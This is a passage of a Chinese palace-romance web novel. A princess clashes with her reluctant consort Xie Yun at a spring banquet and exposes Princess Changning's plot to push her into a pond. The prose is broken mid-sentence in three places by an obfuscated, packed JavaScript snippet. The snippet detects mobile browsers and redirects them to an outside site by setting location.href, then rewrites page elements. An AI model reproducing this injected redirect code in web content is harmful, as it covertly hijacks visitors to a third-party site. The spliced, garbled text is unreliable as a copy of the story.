他越说越憋不住笑:“听说昨晚焦焦在永安宫叫了一整晚,公主都没睡好觉。焦焦一早大闹了小厨房,把公主的琉璃盏打碎了,还咬碎了公主的衣裳,可把公主气得不轻呢。” 谢昀脸上是忍俊不禁的表情,惬意地往椅背上靠了靠,眸中满是笑意。 “哦,差人去回了,就两个字——不、去。” “不去!?” 姒华欢“砰”一声拍案而起,柳眉倒竖:“他就说了这两个字?” 宫人瑟缩了一下脖子,回道:“回殿下,侯爷就让带这两个字。后来还补了一句,说公主喜欢的话,就把狗送给公主了……” 宫人说话声越来越小,他知道越往后说公主越生气,可别殃及他这个小池鱼啊。 这个王八蛋! 姒华欢要被一人一狗气晕了。 她更不相信他们八字相合的鬼话了,这谢昀天生就是克她的。 她双手叉腰,气咻咻道:“谁要他的大肥狗!姚黄,把狗给他送回去。立、刻、马、上!” 当陶总管见到连根毛都没少的焦焦时,高兴得不得了,伸手去抱,却抱了个空。 焦焦灵活地从他身下蹿了出去,直直扑到他身后的谢昀身上,张着嘴巴满脸谄媚,尾巴都摇出虚影了。 谢昀伸手在狗头上揉搓了一把蓬松的毛发,笑着说:“好狗。” 陶总管感叹道:“还是侯爷了解公主。” 谢昀想到姒华欢被气到面颊粉扑扑的样子,眼睫愈发弯了,不由从喉间溢出细微而轻快的笑声,又用力揉了揉焦焦的脸蛋。 陶总管看着开心抚摸焦焦的谢昀,他唇角的弧度难得如此明显。这个笑里不全是计谋得逞的得意,还蕴藏着一抹他看不懂的温柔。 他抬眸望向庭院,春日的阳光暖融融地洒在庭院里,院中的那株老桃树不知何时已缀满花苞。有几朵耐不住的,早早绽开了粉瓣,微风拂过,枝头轻颤。 今年的花,似乎比往年开得早些。 ***** 刚至辰时,天色已然大亮,魏紫和姚黄在殿门外压着嗓子争执。 “你去叫公主起床。” “你去。” “昨日就是我去的,今日该你去了。” 两人推来搡去,谁也不肯让步。 康乐公主的起床气,阖宫上下无人不晓,若非十万火急之事,谁也不敢贸然扰她清梦,免得平白挨一顿训斥。 可今日不同。姚黄咬了咬唇,和魏紫交换了个眼神。 确实是……不得不叫了。 在京城西郊一个巨大的皇家园林——清晏园中设的探春宴,向来是京中各府翘首以盼的盛事。 每年春至,嘉平帝的诏令便会递到各府,邀群臣贵胄携亲眷赴宴。 今日,便是出发去清晏园的日子。 姚黄硬着头皮推开殿门,暖融融的龙脑香扑面而来。她放轻脚步走近床榻,隔着纱帐隐约可见里面丝衾下蜷着一团人影。 “殿下……”姚黄轻唤了一声,帐内迟迟没有动静,她稍稍抬高音量又唤了一声。 帐内传来一声含混的呜咽,床上的人裹紧丝衾,传出闷闷的嗔怪:“出去……” 姚黄苦笑道:“殿下,已经辰时了,再有半个时辰便要出发了,尚宫局送来的那十几件衣裳殿下还没挑呢。” 帐中静了一瞬,幽幽传来一道深吸气的声音,姒华欢用手挑开帷帐一角,眯着惺忪睡眼,没好气道:“让她们送进来。” 见她醒了,没怎么发火,姚黄连忙带人去偏殿取衣裳。 魏紫带着门口早候着的五名宫女鱼贯而入,捧沐盆的、执巾帕的、托香膏的齐齐在床边跪了一地。 姒华欢不情不愿地坐起身,乌发如瀑散在肩头,在魏紫的伺候下,含了第一口香茶。一位宫女双手高捧唾壶上前,在她侧首吐水时恰到好处地接住。 她打着哈欠,任由魏紫给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220990|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她挽起衣袖,方便她盥沐。 沐盆中不是单纯的温水,而是加了特制香气的澡豆。姒华欢先用这水洗过一遍手,再伸到旁边另一个人捧着的盆中洗了脸,魏紫立刻从一旁屈膝捧着巾帕的宫女手上拿过巾帕为她轻轻擦脸。 每日晨起都要经历一遍的流程行云流水。 姒华欢手上擦着香膏坐到妆奁前,目光慢悠悠扫过殿中陈列的十余件华服,皆是尚服局新制的时兴样式,金银丝线在日光下泛着粼粼柔光。 她指尖随意一指,选了那件鹅黄色,袖缘绣金线宝相花纹的齐胸襦裙。 魏紫在她身后挽着发髻,灵巧的手指穿梭在青丝间,将发丝层层盘起。她漫不经心地拨弄着宫女们捧来托盘中的一套套精致华贵的头面,看了眼铜镜中初见雏形的发髻,最终选了一个累丝嵌宝石金凤簪作挑心。 半个时辰后,姒华欢在镜子前照了照,满意道:“走吧。” 还没走两步,她忽然想起什么:“对了,姚黄,把我昨日画的纸鸢带上。” 浩浩荡荡的车队早已候在含元殿广场,姒华欢走下肩舆,提着裙摆快步穿过青石地面走到姒华容面前。 “哥哥怎么不在马车上等……” 话音未落,一旁马车厢门“砰”地弹开,一道白影如离弦之箭弹出。姒华欢还未来得及看清来物,那团影子已扑到她面前。 “什么啊!”她下意识惊叫着往后跳开,快速躲到姒华容身后。 她从姒华容身侧探出半张脸,只见一只熟悉的大肥狗正蹲坐在三步之外,正歪头看着她。 一人一狗大眼瞪小眼,大白狗看见她嘴巴咧得更大,倏地伏低前身,毛茸茸的胸脯贴在地上,后臀却高高翘起,尾巴摇得飞快。 姒华欢攥着哥哥的衣袖,诧异道:“它怎么在这?” 这时,车厢中钻出一道玄色人影,柔声唤道:“焦焦,过来。” 姒华欢偏头,只见一袭玄色锦袍垂落,衣摆处以金线绣着如意纹,行动间流光隐现。玉带束紧腰间,更衬得他宽肩窄腰,身形挺拔。 俊美绝伦的脸上,一双琥珀色的眸子多情又冷淡,却叫人一不小心就沦陷进去。 她收回视线,忙不迭偏头看向别处。 怎么哪也有他。 焦焦根本不理睬他,前爪在地上刨了两下,继续维持着邀请姒华欢玩的姿势。 “啧。”谢昀轻松撑臂跳下马车,隔岸观火般倚在车厢旁,双臂环胸,“看来它很喜欢你嘛,真不要?” 姒华欢冷哼一声:“这福气你自己留着享吧。” 说完,生怕被追上一般,逃似的跑开了,“我去二姐姐的马车上。” 焦焦欲追上去,被谢昀拎着项圈一把勒停,两只黑豆豆眼委屈地望着她的背影,低低呜咽两声。 庆阳在马车中坐得好好的,车帘突然被掀开,探进一张娇艳明丽的脸庞。 “二姐姐。”少女不由分说地钻进车厢,鬓边金钗乱晃,裙角险些勾在厢门上。 庆阳虚扶了她一把:“怎么不去坐子韫的车?” “别提了,那车里有个讨厌鬼。”姒华欢撇撇嘴,从攒盒里拣了块蜜饯含在嘴里,“这些日子,二姐姐为我寻面首寻得如何了?” 姒华欢被御史参烦了,干脆去找庆阳,让庆阳给她寻几个知情识趣的面首。 想起前两日谢昀特意上门与她的“交易”,庆阳倾身问眼前天真的妹妹:“这事,你驸马知道吗?” 11. 第 11 章 姒华欢还没习惯“驸马”二字,愣了一下才反应过来,“关他何事?” 庆阳向后仰了仰身子,“你不得知会他一声?” 姒华欢道:“他不过是担着我驸马的名而已,还管不到我头上。” 看她说得这般云淡风轻,庆阳忍不住轻摇了摇头。 前两日谢昀突然登门,开口直截了当:只要她日后不再给这小祖宗出主意找男人,每月自会有人将美男子送到她的公主府上。 当时她便乐了。她什么都不用做还能白捡美男,何乐而不为? 更何况,这小夫妻俩的事,她也不想多掺和。 别看谢昀一副光风霁月、不争不抢的模样。她看得出来,他可不是什么好惹的,实则是个心思缜密、睚眦必报的主。 庆阳从不给自己找麻烦,毫不犹豫便应承下来,与谢昀达成交易。 思及此,她悠悠啜了口茶,唇角微扬:“别急啊小康乐,好货总要慢慢挑。这人嘛,也是要慢慢寻的。” ***** 三月末,京郊官道两侧的野草已抽出新芽,杨柳垂下绿丝绦。路上车马渐多,都是来赴约探春宴的城中贵胄亲眷。 清晏园极大,尚宫局早已按照各家尊卑分了院落。人们安置妥当,离晚宴尚有半日,便三三两两散入园中消遣。 这些人们碰见熟识之人互相见礼,有意攀附结交的也纷纷见礼问候一二,个个脸上都洋溢着笑容,好不热闹。 姒华欢在园中闲步游逛,见马球场尘土飞扬,小姐公子们策马挥杖,旁边靶场之上几位小姐正挽弓试箭,时不时传出喝彩声。 她既不会骑马,也不会射箭,只得转向风亭水榭。 那里汇聚了不少打扮精致华贵,甚至可以说有些花枝招展的男男女女,斗花对诗、咏唱歌曲,颇有情调。 唯有在清晏园的探春宴这几日,年轻男女间方可暂时废除礼教的束缚,可以谈情说爱,自由交往。 所以在探春宴上两情相悦、私定终身的事情时有发生。 姒华欢在水榭中坐了一会儿,听着周边到处都是文绉绉的酸诗,顿感没趣儿,起身欲走,却在转身间被人拉住。 “华欢,你在这呀,我找了你半天呢。” 前来的少女约莫十七八岁的模样,身量较高,着一条紫色襦裙。一张小脸上粉黛未施,眉宇间透着股英气。 姒华欢自幼的伴读,也是她最好的朋友——叶殊宜。卫国公叶老将军的嫡孙女,也是孙辈里最像叶老将军的一个,绝不输其他男儿。 姒华欢稀罕地看着她。 她今日竟没有穿骑装,而是规规矩矩穿了广袖襦裙,高束的马尾换成了寻常女子的简单样式,腰间别的折扇也换作了手中摇摆的团扇。 叶殊宜注意到了她打趣的视线,皱皱鼻子,生出些不好意思出来:“探春宴嘛,还是得按规矩来,不然丢的可是卫国公府的颜面。” “谁敢笑话你?”姒华欢挪揄道,“你告诉我,我立刻把他们赶出清晏园。” 叶殊宜笑,指了指对面跑动着人影的一大片空地,“我猜你定是呆着无聊,要不要跟我去那放纸鸢?” “好。”姒华欢转头吩咐姚黄,“去把我昨日画的纸鸢拿来。” 过了一会儿,叶殊宜对着她手上的纸鸢沉思半晌,犹豫开口:“华欢啊,你这画的是个……人?” 隐约看到鼻梁的部位特意点了颗小痣,应该是鼻梁吧? 刚逛过来的姒华容也凑近仔细端详。 这画技实在一言难尽,离近了只能用“初具人形”来形容。 “蓁蓁,你这画的是谁啊?” 姒华欢:“狗。” 姒华容纳闷:“还有狗长得人不人狗不狗?哪见的?” 叶殊宜心中暗自感慨,太子殿下对这个妹妹真真是偏疼偏宠,怀疑了狗的模样,也没有怀疑妹妹的画技。 她怎的没有这般好的哥哥? 叶殊宜利落地抖开丝线,将纸鸢往空中一抛,纸鸢接着风势便飞了起来。 姒华欢学着她的样子试了几回,那纸鸢却只栽下来,惹得周围的小姐公子们想笑又不敢笑。 小公主没了面子,气鼓鼓地把丝线塞进姚黄的手里:“你去放。” 姚黄看好风势,将纸鸢放飞后把线轴交还给姒华欢。 姒华欢袖口挽起两折,露出纤细的皓腕。线轴在她掌心缓缓转动,时而收紧,时而放松,纸鸢随着她的动作忽高忽低。 突然,场地周边声音变得嘈杂:“哎,快看,是明安侯!” “什么,明安侯也来了?” 起先在凉亭四散落座的少女听到明安侯来了,都往前凑到一堆,叽叽喳喳、不远不近地围绕在谢昀身边。 这幅场景已见怪不怪,谢昀自己也像没看见这些灼灼目光,径直在姒华容对面落座,从容地展开扇子悠悠扇着。 花孔雀。姒华欢忍不住腹诽。 她将手中的线又放长了些,纸鸢猛地往上一窜,几乎要没入云中,这时人们的视线又回到纸鸢上。 纸鸢在碧空中愈飞愈小,地上的人逐渐发现这纸鸢有几分眼熟。 虽然画技不太美观,不过从整体的感觉上来看,不知为何,倒是很像…… 众人默默将目光齐齐投向谢昀。 姒华容有些尴尬,轻咳了一声,端起茶盏掩饰嘴角忍不住的笑意。 谢昀则是好整以暇地看着草坪上扯动风筝线,开怀又得意笑着的少女,笑得不以为然。 有一位青衣公子凑近他,打抱不平:“侯爷,你就这么纵容公主当众毁你形象啊?” 周围的人有意无意地都竖起了耳朵。 听说明安侯是被嘉平帝强行赐婚,迫不得已才娶康乐公主的,引得众人对明安侯多了几分怜爱。 谢昀眼睛随着姒华欢的身影一瞬也未移开,头都没回,“你说我是狗?” “嗯?”青衣公子愣住。 谢昀淡淡道:“公主可什么也没说。” 青衣公子反应过来他言下之意,差点被自己的口水呛死,连连摆手:“不不不,侯爷,在下没那个意思。” 谢昀:“你就是这个意思。” 青衣公子都快哭了,抬手往自己嘴唇上拍了几下。 死嘴,说那么快干嘛!拍马屁拍到马腿上了吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220991|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只好讪笑道:“是在下心直口快不过脑子,侯爷大人有大量饶过在下吧。” 谢昀只是微微偏头瞥了他一眼,没再说什么,青衣公子悻悻后退几步躲进人群里面。 “谢侯爷。”一道柔美的女声出现。 谢昀循声望去,没有起身,颔首示意:“长宁郡主。” 姒华欢和叶殊宜正在比谁放的风筝更高,忽而眼角余光扫到场边,那道正在与谢昀谈笑风生的艳粉色身影,脸上的笑容渐渐消失。 若说她在京城中最讨厌的人,当属长宁,谢昀都能往后稍稍。 长宁仗着自己是晋王嫡女,素来行事招摇又跋扈,非常喜欢听人吹捧。若有人能把她夸得天上地下,她一高兴便挥金如土大加赏赐,引来许多趋炎附势之人把她捧得高高的。 唯独姒华欢这个比她还娇生惯养的小公主不惯着她,两人没少打架。 她们最后一次打架是在两年前,长宁被她单方面痛打一顿后,恨她恨得牙痒痒,却一直没找到机会找她麻烦。 她被参还被赐婚,长宁好不容易逮住机会能嘲讽她,自然不会放过。 这不,闻着味就来了。 姒华欢手上有些烦躁地一扽一扽将丝线缠回线轴,最后用力一扯,纸鸢轻飘飘掉落在地。 画着谢昀的那面朝下,被她拖着往场外走。 这叫颜面扫地! 长宁见到她,小嘴微张,一副惊讶至极的模样,掐着嗓子道:“啊呀,这不是常出没风月场所的康乐公主嘛。” 常?她就去了两次,常个屁啊。 姒华欢在空气中轻耸鼻尖嗅闻几下,抬手轻掩鼻子,“噫,哪来一股这么大的酸味。” 众人默默看着呛上的一个公主一个郡主,一声也不敢吭,生怕祸水东引。 “我不过就是实话实说,妹妹怎的就急了?”长宁掩着帕子笑得花枝乱颤。 “唉,我真是为侯爷鸣不平。侯爷这般端方守正、温润如玉的谦谦君子,被你欺负了这么多年,还要做你的驸马。你不就仗着陛下的宠爱,欺负侯爷双亲不在吗?” 听到长宁这最后一句,在场人脸色微变。 这话到底是在贬损康乐公主,还是往明安侯心上插刀子? 姒华欢余光扫了一眼谢昀,只见他一副置身事外的超脱模样,面上显不出喜怒。 俗话说骂人不带双亲,更何况提起此等伤心事不是在人家伤口上撒盐,这话尤是她都忍不了。 更何况她本身就是个帮亲不帮理的。 她嗤笑一声:“长宁,你到底是没脑子还是没教养?” 长宁耀武扬威的笑容僵在脸上。 她父亲乃是嘉平帝一母同胞的兄长,论辈分论情分,平日里嘉平帝见到了也要礼让三分。 如今康乐竟敢当众斥她没教养,这哪里是在说她?分明是在打她父亲的脸! “你——” “你什么你。”姒华欢打断她,“道歉。” 长宁瞪大双眼,不可置信道:“什么?” 她不过是实话实说,何错之有! 姒华欢显出几分不耐烦:“我让你,给我的驸马,道、歉。” 12. 第 12 章 长宁能下意识说出这番话,实则已将谢昀归为她的所有物。若今日驸马换做旁人,长宁依旧会对那人妄言贬损,只要是和她有关系的人都会被无差别攻击。 对姒华欢来说,既冠了她的名号,便是她的人,容不得他人轻辱,于是没过脑子,就脱口而出“我的驸马”四个字。 面对众人不可言状的眼神,长宁羞恼地跺了跺脚,转身对谢昀嗔道:“侯爷,我不是那个意思。” 谢昀没说话,人群中传出一句嘀咕声:“你就是这个意思。” 众人一齐转头寻找声音的来源,刚刚的青衣公子缩着头悄悄往后又退了几步,深藏功与名。 长宁还从未在这许多人面前接连被下面子,脸上一阵白一阵红,她咬咬下唇,甩袖离开。 叶殊宜见围观者还不散去,抬手赶人:“还看什么?散了散了。” 围观的众人急忙散了,姒华欢瞪着无动于衷,还在悠悠品茶的谢昀,怒其不争。 “哑巴了?怎的一个字都不敢反驳?” 谢昀倒是坦然:“这不是有殿下为我这个驸马撑腰呢。” 姒华欢暗自懊恼脱口而出“我的驸马”四个字,随即才反应过来,他这是拿她当枪使呢。 谢昀的目光移向她手中的纸鸢,眼里多了几分笑:“这纸鸢好生别致。” 姒华欢眉梢轻扬,稍显得意之色,语气染上几分欢快:“你喜欢就送你了。” 说着,不由分说地把纸鸢塞进他怀中,美美离开。 姒华容瞄了两眼纸鸢,不好意思道:“你若是不喜欢,偷偷丢掉就是。” 他太了解妹妹了,她故意画这纸鸢气谢昀,目的已经达到,晚上睡一觉醒来就不记得这纸鸢的来去了。 谢昀把纸鸢递给身边的随从,感慨道:“这么丑的东西我还是第一次见到,当然要留起来好好珍藏,待哪日心情不好了就拿出来乐一乐。” 姒华容只得无奈叹笑。 这两个活宝。 ***** 晚间,众人都早早抵达长春院,殿中灯火通明,照得地面熠熠生辉。乐师在中央演奏,丝竹声悠扬而不喧闹。 探春宴不讲究男女分席,所有人都同席而坐。 嘉平帝携皇后端坐于上首,几位妃嫔与皇子公主们分坐两侧,大臣们按品级入座,文官在左,武将在右。 姒华欢旁边便是谢昀,她已经非常习惯,每每宫宴座位都是这样安排的。 侍女们手捧银盘,鱼贯而入,将一道道珍馐摆在各自的桌案上。 席间一片热闹,一名侍女上前为姒华欢送上新酒,斟酒时不小心将酒水撒到了她身上。 姒华欢惊呼一声弹起身,侍女立刻手足无措地趴跪在地,“请殿下恕罪,殿下恕罪……” 姒华欢用两根手指嫌弃地拎着被浸湿的裙摆,斥道:“蠢货。” 虽然她的衣服都只穿一次就丢,但这件用的是极其稀少的江南贡缎,只穿了半个时辰便废了,到底有些可惜。 长春院离她的院子还是有些距离的,眼下天色渐暗,一来一回耽搁许久,再回来恐怕宴会都要结束了。 一名侍女上前福身道:“殿下,隔壁院中有为女眷准备的备用衣裳,殿下若不嫌弃可随奴婢前去更衣。” 也只能这样了,那些衣裳料子虽比不上她平日里穿的,应该也看得过去。 姒华欢瞥了一眼地上跪着的侍女,看着碍眼,“让她出去跪着。” 姒华欢将魏紫留在殿中,姚黄替她拎着被打湿的裙摆,二人跟着两名掌灯的侍女向隔壁院子走。 说是隔壁院子,这两座院子可都不小,光是走都要走上一盏茶的时间。 专门准备更衣的屋子中摆了十余件衣裳,皆是上乘布料,款式精美,比一些大臣们的亲眷所着还要华丽。 姒华欢勉强地挑了一件亮色的,却在穿的过程中遇到点麻烦。 “殿下,这个款式我不太会穿……”姚黄尴尬道。 平日里都是魏紫伺候殿下穿衣服多些,遇到复杂些的款式也都是魏紫来解决,姚黄此刻懊恼自己之前没有和魏紫多学点。 姒华欢:“……” 早知道带魏紫来了。 屏风外的侍女出声道:“殿下,奴婢可以一试。” 姒华欢见姚黄脸色通红,五官都皱在一起,说道:“你先出去候着吧。” 复杂的款式在这位侍女手中显得无比轻松,姒华欢默默想姚黄的武功莫不是拿脑子换来的。 不一会儿衣裳便穿好了,姒华欢在巨大的铜镜前照了照。 镜中人云鬓高挽,发间金步摇垂下的流苏随着她的动作轻轻摇曳。一身赪霞色大袖襦裙,下摆十二破间色裙如花瓣般层层叠叠,肩上披着孔雀绿绣罗帔子。齐胸裙高束,露出优美的脖颈线条。 她轻哼一声,勉勉强强能看吧。 出了门,却不见姚黄身影。 门外候着的那名掌灯侍女道:“姚黄姑娘突然腹中不适去了净房,奴婢们先护送殿下回长春院。” 姒华欢忍不住“啧”了一声,这个姚黄。 换完衣服回长春院的路上,踏上小桥,姒华欢隐隐觉得有些不对劲。 虽天色渐晚,路上有些暗,但她清楚地记得,来时的路上并没有过桥。 她微微蹙眉:“这不是来时的路吧。” 侍女道:“回殿下的话,这条路会更近些。” 是吗?她半信半疑地跟着继续走。 行至桥中央,她忽然余光瞥见裙子上有东西,是片树叶挂在裙摆上了。 她停步弯腰摘掉,落后一步。 就在这时,右侧那名侍女脚似乎崴了一下,向后踉跄两步,朝栏杆摔去。 侍女惊惶去扶围栏,围栏竟“咔嚓”一声从中间裂开。 她下意识扯着另一名掌灯侍女的衣袖,不等人反应,两人一起头向下直直栽下,“噗通”落入水中。 这一套动作如行云流水,没有给任何人反应的时间。 姒华欢都看呆了,随即后怕地轻拍胸脯。 要不是因为小树叶,掉下去的就是她了,她可不会凫水。 等等,太巧了吧? 偏偏这次回去没有原路返回,走了桥,好巧不巧侍女崴了脚,栏杆还是松动的。 怎么看都觉得隐隐有些蹊跷。 那侍女不会是故意的吧? 知道栏杆松动,早就准备好走到这个位置,假装不稳,借势“非常合理”地将她撞入池中。 姒华欢冷笑一声,这样一想,往她身上泼酒水也是故意为之,姚黄也并非去了净房。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220992|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她认识的人中,恨她至此,还惯用些上不得台面手段的,除了长宁还会有谁呢? 桥虽不高,池水也不深,万一出了什么意外,长宁还能将自己撇得干干净净。 这地方周围一个人都没有,看来是特意支开人的。 知道她好面子,难得她有如此丑态之时,长宁不可能放任自己在这很久,定还安排了人暗中观察去通报,再带人急急赶来。 姒华欢推推旁边的围栏,都很结实,只有那一处被破坏掉伪装成好的。再踩踩桥面,嗯,蛮结实。 她放心下来,好整以暇地小臂交叉倚在稳固的栏杆上,望向远处,全然不理会下面惊慌扑腾的两个侍女。 反正水那样浅也死不了。 躲在院外的侍女生怕暴露,不敢露面看,听到惊呼和落水声就急忙去禀报郡主。 听完前来报信侍女的小话,长宁罕见地变得热心肠起来,瞪大眼睛,手掩着小嘴惊呼一声,“腾”一下站起身。 “什么!康乐落水了?” 她这出动静夸张又刻意闹得很大,在场嘈杂之音忽而停止,变得极其安静。 “康乐落水了?”姒华容站起身,神色掩不住的着急,问前来报信的侍女,“在哪里?速带孤去。” 妹妹本就体弱,一落水定要生场大病,少不了受罪。 “请随奴婢来。” 谢昀没有丝毫犹豫跟着姒华容就往外跑,嘉平帝和皇后互相搀扶着从高台疾步走下,其余人也急忙跟上。 坐稍远些的人一看大家都往外跑,也跟着不明就以地往外跑,生怕自己错过什么热闹。 于是乎,一群打扮漂亮得体的皇亲贵胄和勋贵世家们,一溜烟儿地在园中疾跑,那场面好不壮观。 很快池边围了一圈人,借着路上的灯和月光,依稀看到池中心有两个人影在扑腾。 “救命!救命啊!” “救!救命!咕噜咕噜……” 刚要扑进池子救人的谢昀脚上一个急停。这两道声音,既不是姒华欢,也不是姚黄的。 还好还好,掉下去的不是她,他悬着的一颗心顿时放下了一半。 嘉平帝着急道:“都愣着干什么!还不下去救公主!” 几个识水性的宫人匆忙跳下水,游到“公主”和“姚黄”身边,扶着她们的胳膊站了起来。 场面变得很尴尬。 几人立于池中,水还没不到胸口的位置。 宫人们手忙脚乱地将两人带上岸,两人瘫坐在地上,微风拂过,身体不断发抖。 叶殊宜一个箭步冲上前,拨开其中一人沾满脸上的头发。 ? 这是谁? 叶殊宜愣了一瞬,去看另一个人的面容。 依旧不认识。 在场所有人都懵了,不是说康乐公主落水了吗? 刚刚情急之下谁也没顾上细看落水之人的穿着,也不太敢直视女儿家衣裳湿透紧贴在身的样子。 况且公主去换衣裳了,和之前不同也是应该的。现在定睛一看,这不是侍女的衣裳嘛。 “你……”最震惊的当属长宁,半晌说不出一句完整的话,最后磕磕绊绊出几个字,“康乐呢?” “找我?”一记声音自远处冒出,清亮中带着几分天然的骄矜。 13. 第 13 章 姒华欢刚刚福至心灵,借着昏暗夜色蹲在密实的围栏后,看看长宁会是什么反应。 捞起池中两名侍女时,所有人的注意力都在岸上,无人察觉她已在这里静静观望多时。 大家循声往上望,赪霞色衣裙的少女临风而立,朦胧夜色中仿佛披着一层微光,恍若仙子降临人间。 因为低头蹲久了,双颊若隐若现残留着一丝绯红,在如雪肌肤的映衬下多了些娇俏可爱,红唇漾着玩味的浅笑。 她本就生得美艳,这样一笑,众人的眼珠子都恨不得黏在她身上,扒都扒不下来,无人应声。 长宁看见她,表情变化丰富极了,由红转青又变白,惊喜变成惊吓。 姒华欢在心底轻笑,这出变脸的戏码当真是精彩,倒是比殿中歌舞有趣得多。 她歪头眨了眨眼睛,觉得戏看得差不多了。 她站在这就是为了吓长宁,目的达成,于是信步走下桥。 “哟,好生热闹,大家都来了。” 她笑盈盈地环视众人,目光最后又落回长宁脸上,“怎的消息如此灵通,这四下无人的偏远小桥,大家竟能马上赶来,还那么笃定是本公主落水。我倒真是好奇呢,是吧,长宁?” 她将最后四个字讲得又慢又轻,却像四块石头,一下一下将长宁堵得喘不过气来。 长宁勉强挤出笑容:“许是……许是她一时慌乱看错了。我也是担心康乐妹妹,才急忙赶过来……没事就好,没事就好。” 姒华欢笑得促狭。长宁看出康乐是在激她,此时说多错多,不一定哪句话头被她抓到把柄,强撑着笑脸不再说话。 在场哪个不是人精,话中机锋自然听得明白。 长宁郡主真狠毒啊! 还没脑子。 敢暗害康乐公主,别说她父亲是嘉平帝的兄长,就算是玉皇大帝都难救她。 嘉平帝眉头紧锁,问道:“究竟怎么回事?” “这二人胆大包天,想将我推下水。”姒华欢语气轻快,“可惜手脚不利落,反倒自己没收住力道栽下去了。” 嘉平帝目光扫过跪地瑟瑟发抖的侍女:“把头抬起来。” 两个侍女抖得更厉害了,头垂得更低。 “朕说,把头抬起来。” 两个侍女咬着牙,双目紧闭,缓缓抬脸。 “谁指使你们谋害康乐公主的?” 二人脸色煞白,额上渗出细汗,嘴唇哆嗦着说不出话来。 姒华欢见状,轻轻抬手:“不必说了。来人,拖下去直接打死。” 顿时她们身后闪现四名宫人,一左一右压住二人肩膀往外拖。 二人眼神慌乱,脚在地上胡乱蹬着,情急之下大喊道:“郡主……郡主!救救奴婢!” 众人目光一凛,齐齐望向长宁。 长宁攥紧手中锦帕,指节发白:“胡言乱语!本郡主与她们素不相识!是谁,是谁要陷害本郡主!” 长宁立于池畔,离水极近。姒华欢缓缓踱步到她身后,提起裙子,卯足了劲,照着她的屁股就是一脚。 “果然是你。” 霎时“扑通”一声,池中水花轰然溅起,长宁猝不及防的惊叫声淹没在池水中。 众人目瞪口呆地望着这一幕,心中皆是同一个念头—— 不愧是康乐公主,什么都不必顾忌,想踹便踹。不得不说,这一脚看起来真是解气啊! 半晌,晋王最先回神,厉声喝道:“还不快救郡主!” 侍从们这才慌忙跳入池中,七手八脚将长宁捞起。 她浑身湿透,发髻散乱,狼狈不堪。晋王面色铁青,当即解下外袍裹住女儿。 长宁紧拽袍子瑟瑟发抖,唇色惨白,对着姒华欢颤声道:“你……你……”却因惊怒交加,半晌说不出一句完整的话来。 嘉平帝紧绷的面色终于有所缓和,眼底闪过一丝笑意,不动声色地拍拍姒华欢的肩膀,随即扬声道:“好了,都回长春院继续宴饮吧。” 姒华欢心情愉悦,慢悠悠跟在人群后往长春院走。忽然,后脑的发髻被人不轻不重地按了一下,转头一看,是谢昀。 他一只手悬在半空中,手中掐着朵开得正艳的大红牡丹。 “你做什么?” 谢昀把她的脑袋转回去几分,脑后又被按了一下,“你的后压掉了,光秃秃的,插朵牡丹凑合一下吧。” 他有这么好心? 姒华欢将信将疑地抬手摸了摸,确实摸不到后压的痕迹,只有花瓣的柔软触感。许是刚才动作间弄掉了,遗失在某处。 大朵的红牡丹缀于脑后发髻填补空缺,既香气袭人,又明艳动人,一举两得。 “不要?”谢昀眉梢一挑,作势要取回。 姒华欢护着花往前小跑了两步,瞪他:“真没君子风度,送出去的东西哪有收回的道理?” 她的美,是极其夺目的。 以至于让人完全忽视了鬓边大朵娇艳欲滴的状元红牡丹,所有的目光全部汇集在那张美艳的小脸上,分不出半分眼神在旁的东西上。 谢昀轻笑:“我何时说过我是君子了?” 姒华欢懒得理他,手掩着后脑的牡丹,快步跟上前面人群的步伐。 ***** 宴会结束,累了一天的姒华欢洗漱后瘫倒在床上,很快便昏昏沉沉进入梦乡。 不知是不是因为白天发生了太多事,思绪过多,这夜她竟梦到了前世。 看摆设应是她的永安宫,她的身体被好好地摆在床上,看起来如同熟睡一般美丽又安详。 就是胸口的一个血窟窿实在扎眼可怖,身下的床褥也被染成一片暗红。 屋内太医和宫人跪了一地,江鹤舒满手血迹,无力地跪在床边。 魏紫和姚黄在一旁掩面痛哭,哭得气息都有些微弱,不知道已经哭了多久。 她如同一个魂体飘在上空,旁观这一切。 几步外,姒华容和谢昀对面而立。 素来温润、从未和人急过眼争吵的哥哥,揪着谢昀的衣领,脖颈上青筋暴起,双目赤红,嘴唇颤抖,似在厉声质问着什么。 谢昀身上手上满是殷红血迹,只是垂眸,薄唇抿成一条锋利的线,静静听着,任由衣领被扯得凌乱,身形纹丝不动。 姒华欢听不到声音,只见姒华容的手缓缓松开,无力垂下,踉跄后退两步,整个人重重蹲在地上。 